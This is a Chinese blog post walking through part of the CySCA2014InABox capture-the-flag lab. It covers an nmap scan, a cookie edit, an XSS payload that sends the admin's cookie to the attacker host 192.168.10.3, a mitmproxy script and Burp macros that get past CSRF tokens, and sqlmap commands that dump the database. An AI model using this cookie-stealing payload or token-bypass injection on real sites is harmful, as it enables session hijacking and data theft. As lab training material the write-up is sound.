XSS窃取Cookie+绕过CSRF令牌进行SQL注入:CySCA2014InABox靶机测试
Posted 网络安全技术杂记
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了XSS窃取Cookie+绕过CSRF令牌进行SQL注入:CySCA2014InABox靶机测试相关的知识,希望对你有一定的参考价值。
一、靶机环境搭建
2、在KALI中使用NMAP对靶机进行全端口扫描,得到较多开放的端口信息,除此之外还有9个未识别的服务。
22/tcp open ssh OpenSSH 5.9p1 Debian 5ubuntu1.4 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.2.22 ((Ubuntu))
1337/tcp open waste?
3422/tcp open icecream icecreamd
5050/tcp open mmcc?
7788/tcp open unknown
7821/tcp open printer Panasonic mfpscdl.exe service
9090/tcp open zeus-admin?
9876/tcp open sd?
9999/tcp open abyss?
12345/tcp open netbus?
12433/tcp open nagios-nsca Nagios NSCA
16831/tcp open unknown
20000/tcp open dnp?
20001/tcp open microsan?
21320/tcp open unknown
22523/tcp open unknown
9 services unrecognized despite returning data
3、访问http://192.168.10.5,点击CHALLENGES便可开始分专项进行渗透测试了。
二、Web Application Pentest模块(5题、各1个FLAG)
根据页面显示点击http://192.168.10.5/index.php进入靶机WEB题测试环境。涉及的知识点有:XSS盗取COOKIE、利用Burpsuite宏功能+SQLMAP绕过CRSF令牌进行注入等。
按F12(我用的是CHROME浏览器),依次点击“Application--Cookies”, 可以看到cookies中vip项的值为0。
试着将vip项的值修改为1,然后刷新页面,可见“Blog”链接不再是灰色。点击“Blog”,弹出第一个FLAG:VIP Flag: ComplexKillingInverse411。
(二)第2题提示为“Gain access to the Blog as a registered user to reveal the hidden flag”,作为注册用户进入BLOG并获取FLAG。点击Blog后发现三篇博文,分别由Kevin、Sycamore二人上传;博文后面有 评论提交输入框(无需注册即可提交);此外还有两个API参考文档。
知识点:在用CHROME浏览器进行xss测试时要先关闭xss过滤器,推荐做法是:右击“新建”--“快捷方式”,点击浏览找到本机上 安装的chrome.exe,在双引号后面空一格 然后加上参数--args -–disable-xss-auditor,然后单击下一步,修改快捷方式 的名称为“Chrome-XSSenable”,即可一劳永逸地在桌面建立一个可以进行XSS测试的CHROME浏览器快捷方式了。当 然也可以直接在桌面原有CHROME快捷方式后面添加上这个参数。
在评论框测试XSS,发现普通的XSS代码被直接当成文本显示在网页上,针对这种不对评论内容进行审计即发布的网站(还有 那些允许用户在提交评论之前进行预览的网站),通常可以测试BBCode类XSS(参考https://jeffchannell.com/Other/bbcode-xss-howto.html)。
本例中,利用XSS盗取管理员COOKIE的步骤如下:
1、在攻击机KALI(IP:192.168.10.3)上创建一个JS脚本helpme.js,内容为:
var image = document.createElement('img'); image.src = "http://192.168.10.3/" + document.cookie; document.body.appendChild(image);
2、在KALI上开启临时WEB服务:python -m SimpleHTTPServer 80,访问http://192.168.10.3/helpme.js测试是否能从远程正常获取该脚本。
3、构造如下代码,通过评论框进行提交,等待管理员点击。
[<script src=http://192.168.10.3/helpme.js></script>](test)
4、稍等片刻,KALI上便收到来自靶机管理员Sycamore的“礼物”(COOKIE不停地发过来,选最新的一个利用即可)。
5、按F12(我用的是CHROME浏览器),依次点击“Application--Cookies”, 将cookies中PHPSESSID项的值为KALI上获取到的值,然后刷新页面,即可得到本题FLAG:User Flag: OrganicShantyAbsent505。
(三)第3题提示为“Retrieve the hidden flag from the database”,从数据库中获取FLAG。查看管理员“Sycamore ”网页可以看到在每条评论后面多出一个回收站按钮,查看源代码发现存在deletecomment(),变量有两个:comment_id、csrf,它通过jQuery发送请求到deletecomment.php,用以删除用户评论。这个“comment_id”存在明显的SQL注入漏洞,不过难点在于, 它的这种anti-CSRF保护需要绕过,这种时候的注入方法如下:
注:这一题必须紧接着第(二)题;靶机采用了CSRF令牌技术防止CSRF入侵,每一次Response信息中包含一个一次性有效的CSRF令 牌,这个令牌是下一次request请求必须要用的,而且有效期15-30秒左右。
知识点:一些像CSRF、tokens或者简单的的反自动化技术(如在一个表单中包含一个隐藏值、在一个输入表单中有一个隐藏的GUID token)就能够阻止sqlmap等自动化工具正确的工作,Burp Suite中的Macros是一个绕过这些方法去进行自动化测试的优秀功能。Burp Suite中的macro是在Burp中代理的请求之前被发送到服务器端的一系列请求,一旦macro请求被执行,最后一个macro响应中的一系列 参数能够被接下来的请求所携带,这就叫做macro。Macro可以用来执行复杂的操作,比如登陆到一个应用然后取出cookies。burpsuite 自带的cookie jar 可以处理变化的cookie。
1、设置代理,利用burpsuite抓包,点击任意一条评论后的删除按钮。burpsuite会 抓取到POST数据包,在comment_id变量的值后面添加一个单引号,在Response窗口 可以看到报错,证明SQL注入漏洞的确存在。注意这里的“csrf”参数,就是服务器每次会验证的数值。
2、在单引号后面继续添加 order by 3;--欲判断字段个数,但不成功,因为CSRF令牌错误。下面第3-6步为配置burpsuite以绕过csrf防护的详细步骤。
3、在burpsuite中依次点击Project options -> Sessions -> Macros ->Add,弹出两个窗口:Macro Recorder(记录器)、Macro Editor(编辑器)(注:Macro记录器是记录发送哪些HTTP请求,Macro编辑器是编辑一些参数,比如具体截取响应报文中的哪一个参数等)。 首先操作Macro记录器,点击选择我们要发送的HTTP请求,再点击右下角的OK按钮即可;然后操作Macro Editor(编辑器),点击 ‘configure item’,在代码中找到window.csrf,选中后面的CSRF令牌(上面会自动填上字符串起始位置字符),再将参数名称写上csrf,单击OK。
4、依次点击Project Options -> Sessions -> Session Handling Rules ->ADD,添加一个会话处理规则(session handling rule)使macro在需要的时候执行。当对话框弹出时点击在“Rule Actions”下面的add按钮,在下拉菜单中选择“Run a Macro”,再选中之前创建的自己的macro(CSRF request)。点击OK。
5、点击Session Handling Rule Editor中的“Scope”标签,在这里我们将要定义受规则影响的请求的范围。在“Tools Scope”中代理并没有被默认选中(如果没有设置好这会影响到每一个经过Burp的请求)。为了在sqlmap中使用这个规则,我们 需要使这个规则在代理中启用。为了限制使用范围我们使用“Use suite scope”选项将其设置为只在测试站点使用。最后,我们限 制“Parameter Scope”只影响包含csrf参数的请求,这是我们唯一要修改的。最后点击OK关闭对话框。
6、在burpsuite中依次点击Target,先点击Sitemap,选中http://192.168.10.5所在的行,右键然后选择“Copy URL”。然后切换到Scope,先勾选“Use advanced scope control” 然后点击“Paste URL”,将靶机的IP和端口以正则表达式 形式添加进去,然后删除File字段中的内容(一定要删除,不然注入不会成功)。至此,burpsuite就配置好了,现在当sqlmap 的请求经过Burp代理时,Burp就会先发送一个请求到服务器然后用从中 得到的csrf参数替换sqlmap的post请求中的参数值。
注:以上burpsuite宏的这些设置,也可以利用这个PYTHON脚本实现:
from libmproxy import controller, proxy, flow
import sys
import requests
import json
class StickyMaster(controller.Master):
def __init__(self, server):
controller.Master.__init__(self, server)
self.current_csrf = None
self.cookie = "vip=1; PHPSESSID=67qetlbmnode8qh27qur6bg1n0;"
r = requests.get("http://192.168.10.5/blog.php?view=2",
headers={"Cookie": self.cookie})
if "window.csrf = '" in r.content:
start = r.content.find("window.csrf = '") + 15
end = start + 20
self.current_csrf = r.content[start:end].split("'", 1)[0]
print "First csrf value =", self.current_csrf
else:
print "Can't get first csrf value :'("
sys.exit()
def run(self):
try:
return controller.Master.run(self)
except KeyboardInterrupt:
self.shutdown()
def handle_request(self, msg):
if msg.method == "POST":
msg.headers["cookie"] = [self.cookie]
params = msg.get_form_urlencoded()
params['csrf'] = [self.current_csrf]
msg.set_form_urlencoded(params)
msg.reply()
def handle_response(self, msg):
if '"csrf"' in msg.content:
d = json.loads(msg.content)
self.current_csrf = d["csrf"]
print "Changing csrf value for", self.current_csrf
msg.reply()
config = proxy.ProxyConfig()
server = proxy.ProxyServer(config, 3128)
m = StickyMaster(server)
m.run()
然后执行如下注入命令:sqlmap.py -u http://192.168.10.5/deletecomment.php --data="comment_id=*&csrf=plop" --proxy=http://127.0.0.1:3128/
7、点击任意一条评论后面的删除按钮,同时利用burpsuite抓包,保存为文本文件test.txt,然后执行sqlmap:sqlmap -r /root/test.txt -p comment_id --proxy="http://127.0.0.1:8080" --delay 1(--proxy表示使用burpsuite的代理)。
技巧:依次单击Project options -> Session -> Session Handling Rules然后点击‘open sessions tracer’,如果有数据包在刷新,代表一切正常,不然有可能是burpsuite配置出错。在对comment_id参数执行SQL注入时仍然遇到问题,请尝试在请求上延迟运行sqlmap (--delay=1,延迟1秒)
8、获取数据库名称:sqlmap -r /root/test.txt -p comment_id --proxy="http://127.0.0.1:8080" --delay 1 --dbs --dbms mysql,得到数据库名cysca、information_schema。
9、获取表名和内容:sqlmap -r /root/test.txt -p comment_id --proxy="http://127.0.0.1:8080" --delay 1 -D cysca --tables --dump --dbms mysql,其中便有本题的FLAG。
知识点:Brupsuite的宏(Macros),是一个预先定义好的HTTP请求序列,这个序列中可以包含一个或多个HTTP请求。在Burpsuite的会话管理规则(Session Handling Rules)中使用宏,可以完成多种任务。详情参见《Burpsuite中宏的使用》(https://www.freebuf.com/articles/web/156735.html)。
(未完待续)
以上是关于XSS窃取Cookie+绕过CSRF令牌进行SQL注入:CySCA2014InABox靶机测试的主要内容,如果未能解决你的问题,请参考以下文章